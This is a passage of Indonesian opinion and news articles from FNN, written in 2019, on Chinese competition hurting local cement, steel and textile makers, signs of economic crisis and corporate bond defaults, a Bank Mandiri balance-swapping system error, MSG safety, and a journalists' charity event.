EKONOMI

Cina Pengganggu Baja, Semen, dan Tekstil Kita

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Indonesia memang butuh investasi, terutama investasi asing. Hanya saja, jika penanaman modal asing itu datang ke sini untuk merebut pasar dalam negeri lalu membunuh industri milik bangsa Indonesia, itu sama saja kita menyerahkan leher bangsa ini ke asing. Gejala itu sudah mulai terjadi pada industri semen kita. Naga-naganya, industri baja juga segera menyusul. Beberapa tahun yang lalu, para investor China membawa Yuan ke sini. Mereka mendirikan pabrik semen. Selanjutnya untuk merangsang mereka, pemerintah membuka keran impor klinker, bahan baku utama semen. Dengan begitu pabrik-pabrik baru tersebut bisa langsung berproduksi karena bahan baku melimpah. Pemerintah berharap Yuan yang ditanam di sini bisa menyerap tenaga kerja lokal lalu, tentu saja, menambah devisa. Harapan selanjutnya, hasil produksi mereka nantinya diekspor. Benar. Pabrik-pabrik asal Negeri Tirai Bambu itu kini beroperasi. Beberapa orang bekerja di pabrik itu. Hanya saja, tanpa disadari, pemerintah telah menyerahkan pasar dalam negeri kepada mereka. Mestinya pada saat Pemerintahan Joko Widodo menggeber proyek infrastrutur, industri semen berpesta pora. Semen laris manis. Nyatanya, kondisi yang terjadi justru sebaliknya, industri semen nasional babak belur. Semen China membanjiri pasar dalam negeri dengan harga murah. Kini, beberapa pabrik besar menghentikan beberapa unit pabriknya. Pabrik itu antara lain milik PT Semen Indonesia (Persero) Tbk. dan PT Indocement Tunggal Prakarsa Tbk. Dua pabrik itu berhenti produksi karena produksi bubuk abu-abu ini di dalam negeri sudah melebihi permintaan nasional. Politisi yang juga pengusaha, Andre Rosiade, mengungkap selain dua pabrik itu, pabrik Semen di Aceh, Semen Padang, Semen Baturaja, Semen Gresik, dan Semen Tonasa juga terpaksa menurunkan kapasitas produksinya, karena semen mereka tidak laku. Mereka kalah bersaing dengan semen China. Di sisi lain ada tiga pabrik semen baru lagi yang bakal beroperasi pada 2020/2021 di Jember, Jawa Timur; Grobogan, Jawa Tengah; dan Kalimantan Timur. “Ini akan menyulitkan lagi para produsen semen sebelumnya karena oversupply-nya bertambah lagi. Semoga kabinet yang baru nanti bisa mengerti dan bijak terhadap situasi dan kondisi industri semen ke depan,” tutur Ketua Asosiasi Semen Indonesia (ASI), Widodo Santoso. Menteri Perindustrian Airlangga Hartarto mengatakan kapasitas produksi di pabrik semen saat ini mencapai sekitar 100 juta ton, sementara itu tingkat konsumsi berkisar 60-68 juta ton. Jadi ada oversupply sekitar 40 juta ton. Anehnya, di tengah kondisi susah itu PT Conch Cement Indonesia, anak usaha dari pabrikan semen kelas kakap dunia Anhui Conch Cement Company (China), berencana meningkatkan kapasitas produksi hingga mencapai 25 juta ton dari saat ini hanya 2,3 juta ton per tahun. Anhui Conch Cement merupakan salah satu perusahaan terbesar di dunia versi Forbes, berada di peringkat 522 dalam daftar The World's Largest Public Companies 2018. Bos Anhui bilang konsumsi semen per kapita Indonesia masih kecil sehingga perlu ditingkatkan. Selain Conch Cement dengan merek dagang Conch, beberapa nama produk semen yang prinsipalnya dari investor China adalah Jui Shin dengan merek dagang semen Garuda. Lalu, Semen Hippo, Semen Jakarta, Semen Merah Putih dan lainnya. Merek-merek ini dijual lebih murah ketimbang semen produk perusahaan dalam negeri. Andre mengatakan industri semen lokal itu terancam karena semen dari prinsipal China diduga menjual dengan menggunakan predatory pricing atau menjual rugi. "Pasar semen lokal dalam kondisi sangat memprihatinkan atau terancam bangkrut. Kenapa itu bisa terjadi karena ada kebijakan predatory pricing, di mana investor semen China yakni semen Conchdengan sengaja menjual semen di Indonesia dengan harga merugi," katanya. Baja Pemerintah tampaknya tidak belajar dari kasus semen. Buktinya, di tengah kondisi pabrik baja dalam negeri yang sekarat pemerintah menggelar karpet merah untuk perusahaan asal China, Hebei Bishi Steel Group. Perusahaan ini membangun pabrik baja di Kabupaten Kendal, Jawa Tengah, dengan nilai investasi US$2,54 miliar. Pabrik tersebut rencananya yang terbesar di Asia karena mampu menyerap 6.000 hingga 10.000 tenaga kerja. Serta direncanakan beroperasi pada 2019 ini atau paling lambat 2020. Bisa dibayangkan, bila pabrik ini nanti berproduksi. Pasar baja tentu akan makin keras. PT Krakatau Steel Tbk. (KS) yang kini sedang megap-megap karena impor baja dari China akan makin sekarat. Perusahaan baja China ini mendirikan pabrik baja di Indonesia berarti telah memasuki jantungnya pasar. Nantinya, mereka tak perlu lagi mengirim baja dari negerinya. Kebutuhan baja untuk pembangunan infrastruktur di sini langsung mereka layani. Kini, Krakatau Steel memiliki utang yang sangat besar, yakni US$2,49 miliar atau Rp34,86 triliun (kurs Rp14.000) pada akhir 2018. Utang yang menggunung itu memaksa KS berencana melakukan Pemutusan Hubungan Kerja (PHK) kepada 1.300 karyawan organiknya. Menurut The South East Asia Iron and Steel Institute (SEAISI), pada tahun 2018, jumlah impor baja Indonesia mencapai 7,6 juta ton. Sedangkan berdasar Badan Pusat Statistik (2018), impor besi dan baja merupakan komoditas impor terbesar ketiga Indonesia. Impor benda keras ini 6,45% dari total impor. Indonesia merogoh kocek US$10,25 miliar untuk impor komoditas ini. BPS juga mencatat pada Januari hingga April 2019 Indonesia mengimpor besi dan baja dari China sebesar US$768,62 juta. Para periode tersebut neraca perdagangan Indonesia defisit sebesar US$2,56 miiar. Defisit ini tercatat lebih besar ketimbang periode yang sama tahun lalu US$1,4 miliar. Tekstil Barang China sudah menjadi pengganggu pasar bagi produk anak negeri. Selain semen dan baja, sejumlah pengusaha tekstil dan produk tekstil atau TPT belakangan ini juga secara seragam mengeluhkan membanjirnya pakaian impor dari China. Pengusaha domestik kewalahan bersaing. Harga barang China itu dijual lebih murah. Tekstil China masuk pasar Indonesia sejak perang dagang antara China dan Amerika Serikat (AS). Produk Negeri Panda itu yang tadinya mengalir ke negeri Paman Sam sejak Mei lalu sebagian membanjiri pasar Indonesia. Berdasarkan catatan S&P, bea masuk baru senilai 25% yang dikenakan oleh AS untuk produk impor asal China, termasuk tekstil, telah membuat produsen tekstil asal China merelokasi penjualannya ke negara-negara yang lebih bersahabat seperti Indonesia. Gempuran produk dari China itu membuat pasar tekstil dalam negeri kebanjiran pasokan (oversupply) sehingga harga pun jatuh. Di saat yang bersamaan, S&P mencatat, konsumsi masyarakat Indonesia sedang relatif lemah. Produk China kini menjadi pengganggu pasar produk-produk dalam negeri. Ini adalah masalah. Pemerintah perlu mengambil kebijakan yang adil untuk melindungi industry dalam negeri. Jangan lantaran dekat dengan China, lalu dikorbankan industri bangsa sendiri. End

Tanda-Tanda Krisis Itu Makin Tegas

Oleh Hudzaifah (Wartawan Senior) Jakarta, FNN - Tidak bisa dipungkiri roda perekonomian sepanjang Januari hingga Juli 2019 menunjukkan fenomena menarik. Terutama terjadi berbagai penurunan kinerja baik di level APBN, BUMN, korporasi hingga di level masyarakat, seolah sepakat mengatakan kita sudah memasuki periode krisis ekonomi. Narasi di atas seolah menggambarkan bahwa krisis akan datang, tidak. Justru krisis sudah datang dan menghantam seluruh infrastruktur perekonomian kita. Sehingga hanya orang-orang yang mengerti perekonomian baik dari sisi mikro maupun makro yang memahami bahwa sesungguhnya kita sedang berada dalam siklus krisis. Coba tengok saja release Badan Pusat Statistik (BPS) soal angka pertumbuhan ekonomi Indonesia untuk kuartal II-2019. Release data ini menjadi begitu penting jika mengingat perekonomian Indonesia tumbuh jauh di bawah target para ekonom pada tiga bulan pertama tahun ini. Untuk periode kuartal I-2019, BPS mencatat bahwa perekonomian Indonesia tumbuh sebesar 5,07% secara tahunan (year-on-year--YoY), jauh lebih rendah dibandingkan konsensus ekonom sebesar sebesar 5,19% YoY. Bila pertumbuhan ekonomi pada tiga bulan kedua tahun 2019 kembali berada di bawah ekspektasi, tentu pertumbuhan ekonomi untuk keseluruhan tahun 2019 hampir bisa dipastikan akan mengecewakan. Asal tahu saja, pemerintah mematok target pertumbuhan ekonomi untuk tahun 2019 di level 5,3%. Sejumlah perusahaan sekuritas asing justru memproyeksikan bahwa perekonomian Indonesia akan tumbuh di bawah 5% pada tahun 2019. Melansir konsensus yang dihimpun oleh Bloomberg, JPMorgan Chase dan Goldman Sachs Group, memproyeksikan ekonomi Indonesia tumbuh 4,9% pada tahun ini, sementara Deutsche Bank menaruh proyeksinya di level 4,8%. Kalau kita berkaca ke belakang, sudah lama sekali perekonomian Indonesia tumbuh stagnasi. Bahkan, loyonya perekonomian Indonesia sudah terjadi di masa awal kepemimpinan Joko Widodo (Jokowi) sebagai presiden. Diduga pertumbuhan tidak bisa eksplosif lantaran terlalu berat beban utang yang harus ditanggung APBN, sehingga penerimaan yang ada bukan digunakan untuk menggenjot pertumbuhan, tapi habis tertelan angin untuk membayar pokok dan bunga utang. Sinyal bahwa krisis itu memang ada dan sinyalnya cukup kuat datang dari pasar modal. PT Merryll Lynch Sekuritas Indonesia dan PT Deutsche Sekuritas Indonesia, sebuah perusahaan asal Amerika dan Jerman, menutup bisnis brokernya di Indonesia. Itu artinya kedua broker asing itu berhenti sebagai Anggota Broker (AB) di Bursa Efek Indonesia (BEI) per 11 Juli 2019. Padahal untuk menjadi AB di BEI tidak mudah dan tidak pula murah. Alasannya, selain sedang melakukan restrukturisasi di kantor pusat, likuiditas di pasar modal Indonesia sudah kering sehingga tak menarik lagi bagi kedua perusahaan sekuritas asing tersebut. Ini juga merupakan sinyal buruk bahwa terjadi crowding out effect di pasar. Dimana Pemerintah Indonesia begitu getol mencari likudiitas di pasar lewat penerbitan Surat Berharga Negara (SBN) dengan bunga tinggi. Akibatnya industri perbankan, industri pasar modal, industri asuransi dan industri finance harus bersaing dengan regulator dan sekaligus operator, yang sudah pasti akan kalah. Pasar pun dikuasai Pemerintah, bank-bank, perusahaan emiten, perusahaan asuransi dan perusahan finance lambat laun tersingkir dari pasar Indonesia. Padahal tugas pemerintah seharusnya melakukan pendalaman pasar, bukannya memperkeruh pasar, sehingga likudiitas begitu sulit diperoleh oleh selain pemain Pemerintah. Tanda-tanda lain yang menunjukkan adanya krisis adalah kasus gagal bayar (default) obligasi mendera perusahaan tekstil terbesar Indonesia, PT Delta Merlin Dunia Textile. Anak usaha perusahaan tekstil ternama Duniatex Group ini dikabarkan gagal bayar bunga dan pokok surat utang senilai US$11 juta atau ekuivalen dengan Rp154 miliar (dengan kurs 14.015). Terang saja, gagal bayar ini membuat bank ketar-ketir. Setidaknya ada 10 bank kreditur yang telah menyalurkan kredit kepada anak Duniatex itu. Pada 2018 saja, duit yang mengalir dari bank-bank itu ke perusahaan tersebut senilai Rp5,25 triliun dan US$362 juta. Delta bermaksud menerbitkan obligasi senilai US$300 juta. Pada Rabu (24/7) Bloomberg melaporkan, lembaga pemeringkat S&P menurunkan peringkat utang Delta sebanyak 6 level hingga menyentuh skor CCC-, skor yang dapat dikatakan obligasi sampah (junk bond). Tidak hanya S&P, Fitch Ratings juga menurunkan peringkat utang perusahaan menjadi B- pada Kamis pekan lalu. Dalam catatan J.P Morgan, ada tiga bank plat merah yang turut menjadi kreditur anak perusahaan, salah satunya PT Bank Mandiri (Persero) Tbk, yang menjadi bank terbesar dalam penyaluran kredit kedua setelah Bank Exim pada 2018. Sebelumnya potensi gagal bayar juga mengepung PT Kawasan Industri Jababeka Tbk (KIJA) pimpinan Setyono Djuandi Dharmono, sang penggagas penghapusan pendidikan agama di sekolah. Perusahaan ini berpotensi default atas surat utang anak perusahaan senilai US$300 juta berikut dengan bunga. Bukan hanya mereka saja yang begitu, PT Agung Podomoro Land Tbk juga sedang panik. Pemain properti ini tengah berupaya memperoleh suntikan pendanaan dari pemegang saham untuk dapat melakukan pembayaran dari sejumlah kewajiban yang jatuh tempo pada tahun ini. Selain Perjanjian Fasilitas I yang jatuh tempo Juni lalu, terdapat beberapa utang lainnya yang juga akan jatuh tempo di tahun ini antara lain obligasi sebesar Rp451 miliar yang jatuh tempo pada Desember 2019 dan obligasi senilai Rp99 miliar yang jatuh tempo pada bulan Maret 2020. Selain menunggu suntikan dari pemegang saham, perusahaan juga tengah mencari pinjaman lainnya bersama dengan kreditor yang berasal dari Perjanjian Fasilitas II. Pada 17 Juli, Fitch Ratings menurunkan rating perusahaan dan obligasi yang diterbitkan perseroan menjadi CCC- dari sebelumnya B- akibat risiko pendanaan ulang (refinancing) dan risiko likuiditas. “Penurunan peringkat mencerminkan risiko refinancing dan risiko likuiditas yang meningkat, seiring dengan penundaan rencananya mencari pendanaan pada Mei 2019 yang berniat digunakan untuk mendanai kembali obligasi domestik jangka pendek dan melunasi kredit sindikasi Rp1,17 triliun,” tulis rilis Direktur Fitch Ratings Singapore Pte Ltd Erlin Salim dalam risetnya. Dari BUMN sinyal krisis itu juga hadir. Kasus PT Krakatau Steel Tbk yang membukukan rugi Rp1,06 triliun dengan total utang mencapai Rp40 triliun, menunjukkan adanya krisis di industri baja. Bagaimana mungkin Krakatau Steel dapat bersaing dengan baja China, dimana dari negaranya sudah mendapat potongan pajak (tax rebate) 10% plus tax holiday dari Pemerintah Indonesia berupa pembebasan bea masuk 15%. Praktis baja China di Indonesia sudah unggul 25% atas Krakatau Steel, sebuah level playing field yang tidak seimbang. Anehnya situasi ini dinikmati sebagai sebuah keberhasilan mengundang investor. Investor mana yang tidak tertarik kalau dalam 5 hingga 10 tahun ke depan dapat membunuh industri baja nasional? Padahal di negara manapun selalu berusaha melindungi industri strategisnya, baja adalah industri strategis yang harus dilindungi. Andai saja founding father kita Presiden Soekarno masih hidup, dia akan memaki-maki pemerintah saat ini. Bagaimana mungkin Krakatau Steel yang dibangunnya harus diperlakukan secara diskriminatif oleh pemerintahnya sendiri. Belum lagi PT Garuda Indonesia Tbk yang ngebet membukukan laba bersih lewat window dressing. Pat gulipat laporan keuangan berhasil membuat Garuda seolah-olah membukukan laba bersih Rp70 miliar pada 2018. Ternyata setelah diaudit BPKP, pada 2018 Garuda masih harus membukukan rugi bersih Rp2,4 triliun, sungguh terlalu sandiwara keuangan yang dilakukan I Gusti Ngurah Ashkara Danadiputra dan kawan-kawan. Dirut Garuda itupun harus kena sanksi denda atas upaya minteri rakyat Indonesia lewat laporan keuangan palsu, lewat financial engineering, bahkan saham Garuda pun tergelincir dibuatnya. Belum lagi PT Pertamina yang seharusnya menyumbang dividen laba paling besar ke APBN, justru mendapati ketidakjelasan berapa laba bersih yang sebenarnya. Presiden Jokowi menyebut laba bersih Pertamina sedikitnya Rp20 triliun, sementara laporan internal Pertamina menyebutkan sekitar Rp5 triliun. Padahal di 2016 Pertamina pernah mengalahkan Petronas dengan membukukan laba bersih Rp42 triliun, saat itu Petronas hanya membukukan laba bersih Rp36 triliun. Apa yang terjadi hari ini, di tengah ketidakjelasan laba bersih Pertamina? Petronas yang 25 tahun lalu belajar ke Pertamina, pada 2018 berhasil membukukan laba bersih Rp189 triliun atau 55,3 miliar ringgit. Sungguh sebuah ironi yang sulit dihindari, seluruh laba BUMN jika dikumpulkan hanya Rp188 triliun, masih lebih besar laba bersih satu Petronas. Ironi yang mencolok mata kita. Lepas dari problematika yang melanda ekonomi nasional, ekonomi mikro dan makro, yang jelas krisis itu sudah berlangsung. Dan itu direpresentasikan dari data-data yang kami urai di atas. Tinggal seberapa serius Pemerintah untuk membenahi krisis ini, sebab jika asumsi para menteri masih yang itu-itu juga, maka kita sangat meyakini krisis ini akan semakin luas dan dalam. Itu sebabnya Presiden Jokowi harus memilih menteri yang tepat, yakni yang memiliki track record membenahi APBN. Bukan sebaliknya melanjutkan tradisi menambal APBN yang defisit dengan utang, utang dan utang. Bisa-bisa Republik Indonesia tenggelam dibuatnya. End.

Kasus Gagal Bayar, Tanda-tanda Awal Krisis?

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Krisis ekonomi mulai mengintip. Sejumlah perusahaan menunjukkan gejala gagal bayar. Kasus terbaru gagal bayar obligasi mendera perusahaan tekstil terbesar Indonesia, PT Delta Merlin Dunia Textile. Anak usaha perusahaan tekstil ternama Duniatex Group ini dikabarkan gagal bayar bunga dan pokok surat utang senilai US$11 juta alias Rp154 miliar (estimasi kurs 14.015). Terang saja, gagal bayar ini membuat bank ketar-ketir. Setidaknya ada 10 bank kreditur yang telah menyalurkan kredit kepada anak Duniatex itu. Pada 2018 saja, duit yang mengalir dari bank-bank itu ke perusahaan tersebut senilai Rp5,25 triliun dan US$362 juta. Delta bermaksud menerbitkan obligasi senilai US$300 juta. Pada Rabu (24/7) Bloomberg melaporkan, lembaga pemeringkat S&P menurunkan peringkat utang Delta sebanyak 6 level hingga menyentuh skor CCC-, skor yang dapat dikatakan "junk" alias sampah. Tidak hanya S&P, Fitch Ratings juga menurunkan peringkat utang perusahaan menjadi B- pada Kamis pekan lalu. Dalam catatan J.P Morgan, ada tiga bank plat merah yang turut menjadi kreditur anak perusahaan, salah satunya PT Bank Mandiri (Persero) Tbk., yang menjadi bank terbesar dalam penyaluran kredit kedua setelah Bank Exim pada 2018. Sebelumnya potensi gagal bayar juga mengepung PT Kawasan Industri Jababeka Tbk (KIJA). Perusahaan ini berpotensi default atas surat utang anak perusahaan senilai us$300 juta berikut dengan bunga. Bukan hanya mereka saja yang begitu. PT Agung Podomoro Land Tbk. juga sedang panik. Pemain properti ini tengah berupaya memperoleh suntikan pendanaan dari pemegang saham untuk dapat melakukan pembayaran dari sejumlah kewajiban yang jatuh tempo pada tahun ini. Selain Perjanjian Fasilitas I yang jatuh tempo Juni lalu, terdapat beberapa utang lainnya yang juga akan jatuh tempo di tahun ini antara lain obligasi sebesar Rp451 miliar yang jatuh tempo pada Desember 2019 dan obligasi senilai Rp99 miliar yang jatuh tempo pada bulan Maret 2020. Selain menunggu suntikan dari pemegang saham, perusahaan juga tengah mencari pinjaman lainnya bersama dengan kreditor yang berasal dari Perjanjian Fasilitas II. Pada 17 Juli pekan lalu, Fitch Ratings menurunkan rating perusahaan dan obligasi yang diterbitkan perseroan menjadi CCC- dari sebelumnya B- akibat risiko pendanaan ulang (refinancing) dan risiko likuiditas. "Penurunan peringkat mencerminkan risiko refinancing dan risiko likuiditas yang meningkat, seiring dengan penundaan rencananya mencari pendanaan pada Mei 2019 yang berniat digunakan untuk mendanai kembali obligasi domestik jangka pendek dan melunasi kredit sindikasi Rp1,17 triliun," tulis rilis Direktur Fitch Ratings Singapore Pte Ltd Erlin Salim dalam risetnya. Pintu Krisis Fuad Bawazier menilai di banyak negara krisis ekonomi sering diawali dengan gagal bayar utang, baik utang negara ataupun utang swasta. Lalu, belakangan, sejumlah ekonom juga mencemaskan besarnya utang badan usaha milik negara atau BUMN. "Kecemasan-kecemasan itu bisa dipahami mengingat umumnya proyek yang dibiayai utang kurang ekonomis pembangunannya dan kurang produktif setelahnya," kata Menkeu Kabinet Pembangunan VII ini, dalam keterangannya, Rabu (24/7). Ekonom senior Rizal Ramli sekendang sepenarian dengan Fuad. “Kalau ekonomi tidak segera dibenahi dikhawatirkan krisis 1998 kembali terjadi,” katanya seperti dikutip RMOL, Rabu (24/7). Menko Perekonomian era Presiden Gus Dur ini menyampaikan kalau tidak ada langkah-langkan cepat dan jitu memperbaiki ekonomi, dikhawatirkan akan banyak perusahaan yang menyusul. "Kalau tidak hati-hati bisa menyeret yang lainnya. Belajarlah dari krisis 1998," katanya. Kegaduhan di PT Krakatau Steel, Asuransi Jiwasraya, PT Garuda, isu membengkaknya utang BUMN Karya, dan besarnya kredit bermasalah di bank pelat merah juga dinilai Fuad masih menjadi sorotan. Meski begitu menurutnya sejauh ini belum ada berita kegagalan BUMN bayar utang. Fuad justru heran gagal bayar utang justru diawali oleh pihak swasta. Khusus gagal Grup Duniatex, dia menilai kegagalan perusahaan ini membayar obligasi merupakan hal tidak wajar. "Tetapi di luar dugaan, gagal bayar utang justru diawali oleh pihak swasta dari industri tekstil. PT DMDT dari Group Duniatex yang menerbitkan obligasi US$300 juta pada bulan Maret tahun ini gagal bayar kupon obligasinya. Aneh sekali obligasi yang baru berumur 3-4 bulan sudah gagal bayar kupon," kata Fuad curiga. Fuad mengatakan hal ini bisa jadi penipuan. Duniatex juga sudah berutang dari sindikasi bank, termasuk Indonesian Eximbank sebesar Rp17 triliun. Belum lagi kredit yang didapatkan pada tahun 2018. "Menjadi lebih mengejutkan lagi ketika JP Morgan mengabarkan bahwa dalam tahun 2018 Group Duniatex telah menerima kredit US$362,3 juta dan Rp5,25 triliun," lanjutnya. Kegagalan bayar utang ini, meski baru kupon, tentu menghancurkan nilai obligasi tersebut sebagai junk, dan mau tidak mau pemegangnya membukukan sebagian kerugian. Kejadian ini, bisa mencemaskan pasar modal dan meningkatkan kredit macet perbankan. Bukan cuma Duniatex saja yang penilaiannya menurun, kredit rating Indonesia pun bisa saja terkena imbasnya. "Jika itu terjadi, merupakan signal awal krisis ekonomi Indonesia," tegasnya. Menurut Fuad, pemerintah tidak pada posisi yang mampu menolong pada saat ini. Berbeda dengan saat krisis moneter tahun 1998 ketika pemerintah mampu bertindak sebagai penolong swasta yang gagal bayar utang. Jadi, sebaiknya semua pihak, khususnya pemerintah waspada dan sedia payung sebelum hujan. Jangan jumawa bilang ekonomi sedang kuat. "Sekali lagi jangan berasumsi apalagi berkoar bahwa ekonomi kita kuat, dan ketika krisis benar- benar terjadi cari kambing hitam. Selalu ada solusi asal mau mikir," ujar Fuad.

Untung Saldo Rekening Eror, bukan Rush

Oleh Iriani Pinontoan (Wartawan Senior) Jakarta, FNN - Ekonomi nasional memang dalam kondisi parah. Seharusnya tidak diperparah transaksi perbankan carut marut dalam dua hari terakhir. Nasabah bank plat merah terkaget-kaget. Sejak Sabtu pagi (20/7), nasabah melaporkan rekening mereka bertambah. Sebagian lainnya berkurang. Buat yang bertambah, tentu menyenangkan. Sebaliknya, berkurang bisa panik.Apalagi jika kurangnya banyak. Meskipun sudah ada penjelasan resmi dari Corporate Secretary Bank Mandiri, Rohan Hafas tentang terjadinya perubahan drastis saldo akibat sistem eror, tetap menyisakan tanya. Mengapa terjadi jika proses tutup buku akhir minggu itu rutin? Investigasi sementara, ada memory deffect atau cacat pada sistem perangkat keras (hardware). Saat data nasabah, sekitar 15 juta dipindahkan dalam sebuah backup server, kemudian core server memproses transaksi yang terjadi sehari sebelumnya, ketika dipindahkan kembali ke backup server terjadi eror. Saldo nasabah pun tertukar. Nasabah panik. Tiba-tiba saldo mereka berkurang drastis,tapi juga ada yang bertambah drastis sampai Rp 95.000.000 juta. Luar biasa.Pencatatan janggal itu memicu nasabah ramai-ramai mendatangi Bank Mandiri, seperti terjadi di Balikpapan. Mereka antri bukan menarik tabungan, tapi memastikan rekennig mereka aman-aman saja. Sekitar 1,5 juta nasabah (10%) Bank Mandiri mengalami perubahan drastis saldo rekening. Saldo mereka tertukar. Sejak Sabtu sore pukul 15.30 WIB, normalisasi transaski pelayanan sudah pulih kembali. Internet banking, SMS banking, Anjungan Tunai Mandiri (ATM) dan electronic data capture. Meski normal, tapi semalam dapat informasi dari netizen di Perancis, hanya untuk mentransfer masing-masing Rp 1.000.000 ke Bank Mandiri dan BCA, ternyata gagal. Rohan Hafas menjelaskan, meski sudah normal, namun sebanyak 2.670 rekening nasabah tetap diblokir. Kantor cabang diperintahkan menghubungi nasabah yang melakukan penarikan dan transfer karena tidak mengetahui permasalahan sistem yang eror. Kejadian ini bisa menimbulkan berbagai spekulasi. Ada netizen menulis, jangan-jangan peretas membobol perangkat perbankan. Ada juga pendapat, sengaja dibuat agar nasabah tidak menarik dana serentak (rush).Bank bisa collaps. Beberapa waktu belakangan ini, warga net ramai-ramai menyuarakan agar segera menarik tabungan. Kenapa, karena pemerintah sedang mengalami kesulitan keuangan, termasuk bank milik pemerintah ( BUMN). Sebagian menyarankan invetasi emas atau membeli dinar.Rush sangat menakutkan bagi perbankan. Era digital memang memaksa perbankan melakukan perubahan ekstrim, jika tidak ingin tergilas. Sepuluh tahun lalu, bank ramai perbanyak cabang di dalam maupun luar negeri. Sejalan perkembangan smartphone cukup bertransaksi dari mana saja tanpa harus ke bank. Mau atau tidak,bank harus mengurangi kantor cabangnya. Kalau pun dipertahankan, hanya cabang di luar negeri. Dilematis. Belum lagi makin banyak pilihan aplikasi bertransaksi, seperti dilakukan perusahaan-perusahaan online. Makin mudah, semudah memencet tombol smartphone.

Apakah Konsumsi MSG Berbahaya Bagi Kesehatan?

JAKARTA, FNN - Untuk meningkatkan rasa makanan menjadi lebih gurih, sering kali digunakan zat tambahan, di antaranya MSG. Tapi apa sebenarnya efek MSG dan amankah untuk dikonsumsi? Pakar Gizi Prof. Dr. M. Hardinsyah. M.S mengatakan, munculnya anggapan tentang bahaya MSG bagi kesehatan pertama kali dikemukakan oleh Dr. Ho Man Kwok setelah berkirim surat ke New England Journal of Medicine pada tahun 1988. Dalam surartnya dia menceritakan kemungkinan penyebab gejala yang dia alami setiap kali makan di restoran Cina di Amerika Serikat. Belakangan gejala itu dikenal dengan istilah “Sindrom Restoran China”. Namun, dia bilang, MSG atau monosodium glutamat atau oleh masyarakat tanah air dikenal vetsin sama sekali tidak berbahaya bagi kesehatan manusia. Apa yang dirasakan oleh Ho Man Kwok merupakan reaksi dari tubuhnya yang alergi dengan bahan yang terkandung dalam zat glutamate tersebut. "Berdasarkan sebuah penelitian memang ditemukan ada sebagian orang merasa alergi dengan MSG," kata Hardi, sapaan akrabnya ketika menjadi pembicara dalam diskusi "Gizi Seimbang dari Bahan Tambahan Pangan Halal" yang diselanggarakan oleh Forum Warta Pena (FWP) dan Persatuan Pabrik Monosodium Glutamate dan Glutamic Acid Indonesia (P2MI) di Hotel Ibis Tamarin, Sabang, Jakarta Pusat, Rabu (19/6/2019). Pada perkembangannya, pihak produsen MSG -Ajinomoto,SASA, miwon yang merupakan anggota P2MI, menciptakan penyebab rasa lainnya yang dikenal dengan nama UMAMI. UMAMI ini terdiri dari tiga zat gizi, yaitu glutamat, natrium, dan air. Sama halnya dengan MSG, penyedap rasa ini juga tidak berbahanya bagi tubuh manusia. Bahkan jika zat glutamate ini dikomsusmsi secara terus menurus, tak akan ada pengaruh kesehatan bagi pemakainya. “Dikomsumsi hingga Sampai 5 gram pun tak ada pengaruh terhadap kesehatan dan kondisi ini sama dengan manusia yang tidak mengkomsumsi MSG,” kata dia. Peryataan Hardinsyah ini diperkuat oleh Tetty R. Sihombing, pelaksana tugas (Plt) Deputi Bidang Pengawasan Pangan Olahan BPOM RI. Dia yang hadir menjadi pembicara di diskusi ini memaparkan berdasarkan hasil penelitian Joint Expert Committee on Food Additives (JECFA) dari Badan Pangan Dunia milik PBB serta WHO, menempatkan MSG dalam kategori bahan penyedap masakan yang aman dokonsumsi dan tidak berpengaruh pada kesehatan tubuh. Temuan ini diperkuat oleh European Communities Scientific Committee for foods pada tahun 1991. Selanjutnya, Badan Penagwas Obat dan Makanan Amerika Serikat (FDA) pada tahun 1995 menyatakan bahwa MSG termasuk sebagai bahan bumbu masakan, seperti halnya garam, merica, dan gula, sehingga aman bagi tubuh. “MSG tidak menimbulkan bahaya terhadap kesehatan karena memiliki Acceptable Daily Intake (ADI) not specified,” terang Tetty. ADI not specified adalah istilah yang digunakan untuk bahan tambahan pangan yang mempunyai toksisitas yang sangat rendah, berdasarkan data--kimia, biokimia, toksikologi, dan data lainnya. Sementara, Ketua Persatuan Pabrik MSG & GA Indonesia (P2MI) M. Fachrurozy mengatakan, Bahan Tambahan Pangan (BTP) seperti, MSG atau vetsin di industri pangan diatur dengan ketat dan baik oleh BPOM dengan kaidah penggunaan batas maksimum. Sebagai contoh MSG, merupakan BTP yang berfungsi untuk menguatkan rasa UMAMI atau gurih. Menurutnya, MSG yang komponen terbesarnya adalah 78% glutamat merupakan asam amino esensial yang juga dihasilkan oleh tubuh. MSG sebagai BTP memiliki ADI (acceptable daily intake) not specified. Kelompok BTP dengan ADI not specified, menunjukkan bahwa BTP tsb digolongkan pada BTP yang toksisitasnya sangat rendah berdasarkan data kimia, biokimia, toksikologi dan data lainnya. Jumlah asupan BTP tersebut menurut WHO tidak menimbulkan bahaya . (rob)

FWP Gelar Acara Berbagi Bersama Anak Yatim dan Dhuafa

JAKARTA, FNN - Forum Warta Pena (FWP) melaksanakan kegiatan dengan menyantuni anak-anak yatim dan dhuafa. Acara yang bertemakan FWP Berbagi dan Berbuka Puasa bersama Anak Yatim dan Dhuafa di gelar di Masji At Taqwa Attahiriyah, Jl. Kampung Melayu Besar No. 68, Tebet, Jakarta Selatan, Rabu (29/5/2019). Pada acara tersebut FWP membagikan bingkisan dan santunan kepada sekitar 40 anak yatim dan dhuafa. Acara berbuka puasa yang didahului dengan Tausiyah Ustad Syafruddin, MAg. dan diisi dengan permainan bernuansa islami dengan berbagai hadiah menarik. Ketua FWP Solihin mengatakan, ramadan memiliki makna dan pesan khusus bagi kaum muslimim utk meningkatkan kepedulian terhadap kaum anak yatim dan kaum dhuafa. Untuk itu, FWP mennggelar kegiatan berbagi serta buka puasa bersama bersama anak yatim dan dhuafa sebagai wujud rasa syukur keinginan kita utk berbagi kebahagian di bulan penuh berkah. Kami ucapkan terima kasih sebanyak-banyaknya atas dukungannya, izin yang diberikan Takmir Masjid At Taqwa Attahiriyah. Begitu pula kami mengucapkan terimakasih kepada pihak yang telah membantu diantaranya, JNE, XL Axiata, AL Amin Universal, Astra Infra Toll, Frisian flag, ,Mc Ddonal, Yayasan Darmabakti Astra, dan KIKI alat tulis," kata Solihin dalam pidatonya. Forum Warta Pena merupakan sebuah perkumpulan beranggotakan wartawan berbagai media dan sektoral yang peduli dengan berbagai isu kekikinian. Meski umurnya belum genap setahun, FWP sudah menggelar lima kali kegiatanForum Group Discussion (FGD) membahas berbagai persoalan, serta cooking challenge bersama komunitas memasak Jakarta dan FWP Berbagi. Ke depan, FWP akan menggelar diskusi kesehatan tentang manfaat MSG bagi kesehatan dan diskusi soal wisata dan produk halal di Jakarta Convention Center (JCC) Senayan, 